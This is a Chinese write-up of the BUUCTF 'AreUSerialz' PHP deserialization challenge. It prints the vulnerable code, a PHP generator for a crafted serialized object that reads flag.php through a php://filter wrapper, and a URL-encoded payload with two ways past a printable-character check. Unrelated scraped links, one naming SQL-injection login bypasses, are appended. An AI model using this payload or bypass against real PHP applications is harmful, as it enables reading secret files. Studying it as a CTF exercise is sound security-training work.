【BUUCTF】AreUSerialz
【BUUCTF】AreUSerialz (反序列化)
题目来源
收录于:BUUCTF 网鼎杯 2020 青龙组
题目描述
根据PHP代码进行反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
题解
此题解题思路较为清晰,反序列化时依次调用的函数为:
__destruct() ==> process() ==> read()
在read()中的file_get_contents()中得到我们要读的文件。
这里直接给出构造的类
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;
这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s的值为
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid(),用于检测传递的字符串中是否有不可打印的字符。
由于类中有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里。
这里有两种方式可以进行绕过
方式一
当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。
即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
echo(urlencode(serialize($o)));
传入打印的字符串即可得到base64编码的flag
方式二
此方法并不改变变量的保护类型。
当我们向浏览器传递%00时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。
当我们向浏览器传递\00时,浏览器不会将其解析为单个字符。
下面用代码进行验证:
<?php
function is_valid($s) {
echo "str_length="; //输出字符串长度
echo strlen($s);
echo "<br>ASCII(str): ";
for($i = 0; $i < strlen($s); $i++){
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
echo "invalid!!!";
return false;
}
echo ord($s[$i]); //输出每个字符的ASCII
echo " ";
}
return true;
}
$str = (string)$_GET['str'];
is_valid($str);
?>


因此我们将%00替换为\00,就可以绕开ord()的判断。但是这样一来,反序列化时\00将无法正确解析为单个字符。
我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。
于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;

将红框内的小写 s 替换为大写 S,得到的payload为
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
总结
当遇到不可打印字符被过滤时,有两种方法:
PHP版本>=7.2时,可将protected直接修改为public
将序列化后的字符串中的
%00修改为\00,并将保护类型为protected的变量的变量类型由s改为S
【BUUCTF】AreUSerialz的更多相关文章
- 【BUUCTF】强网杯 2019随便注1 write up
输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...
- 【BUUCTF】ACTF2020 新生赛Include1 write up
查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...
- Python高手之路【六】python基础之字符串格式化
Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...
- 【原】谈谈对Objective-C中代理模式的误解
[原]谈谈对Objective-C中代理模式的误解 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这篇文章主要是对代理模式和委托模式进行了对比,个人认为Objective ...
- 【原】FMDB源码阅读(三)
[原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...
- 【原】Android热更新开源项目Tinker源码解析系列之一:Dex热更新
[原]Android热更新开源项目Tinker源码解析系列之一:Dex热更新 Tinker是微信的第一个开源项目,主要用于安卓应用bug的热修复和功能的迭代. Tinker github地址:http ...
- 【调侃】IOC前世今生
前些天,参与了公司内部小组的一次技术交流,主要是针对<IOC与AOP>,本着学而时习之的态度及积极分享的精神,我就结合一个小故事来初浅地剖析一下我眼中的“IOC前世今生”,以方便初学者能更 ...
- Python高手之路【三】python基础之函数
基本数据类型补充: set 是一个无序且不重复的元素集合 class set(object): """ set() -> new empty set object ...
- Python高手之路【一】初识python
Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...
- 【开源】简单4步搞定QQ登录,无需什么代码功底【无语言界限】
说17号发超简单的教程就17号,qq核审通过后就封装了这个,现在放出来~~ 这个是我封装的一个开源项目:https://github.com/dunitian/LoTQQLogin ————————— ...
随机推荐
- Centos使用图形化界面配置网络
1. 查看当前ip地址 # ip addr 2. 图形化界面配置网卡 # nmtui 界面提示,左右上下配置,OK即可.
- .net core 文本比对的一个诡异设计
9-11 发现的,过久了都忘了,记一下 string s = Encoding.ASCII.GetString(new byte[] { 0x57, 00, 0x49, 00, 0x4e, 00, 0 ...
- 待遇任务执行器(dy-task-actuator-simple)文档
待遇任务执行器(dy-task-actuator-simple)文档 简介 简称 dtas 吧.这是一个尚在起步但无需太多功能的执行器. 心血来潮,做了一个任务执行器,倒不是一定要重复造轮子,而是没有 ...
- Linux FTP 服务搭建
Linux FTP 服务搭建 1.安装vsftp 1.1.使用yum进行安装vsftp [root@localhost ~]# yum -y install vsftpd 1.2.配置文件目录 [ro ...
- Qt编写跨平台视频监控系统(64通道占用7%CPU/支持win_linux_mac等)
一.前言 视频监控组件经历过数十年的迭代,从最初的只简单播放个rtsp视频流,到现在支持各种音频视频文件格式(mp3.wav.mp4.asf.rm.rmvb.mkv等).支持各种视频流格式(rtp.r ...
- 🤺Universal and Transferable Adversarial Attacks on😊Aligned Language Models
- [转]在MyBatis中使用pageHelper5.1.9分页插件实现物理分页
pagehelper的GIT地址:https://github.com/pagehelper/Mybatis-PageHelper/ 废话少说,直接给出中文官方链接: 1.如何使用分页插件 2.HOW ...
- Solution -「ZJOI 2018」「洛谷 P4338」历史
\(\mathscr{Description}\) Link. 给定一棵以 \(1\) 为根的树,点 \(u\) 有非负点权 \(a_u\). 定义 \(u\) 的一次染色的代价为:路径 ...
- C# 窗口鼠标穿透以及取消窗口鼠标穿透
private const int WS_EX_TRANSPARENT = 0x20; private const int GWL_EXSTYLE = -20; /// <summary> ...
- 深入理解 RESTful Api 架构-copy
深入理解 RESTful Api 架构 周梦康 发表于 2016-01-03 分类于 笔记 61818 次浏览 标签 : REST 一些常见的误解 不要以为 RESTful Api 就是设计得像 ...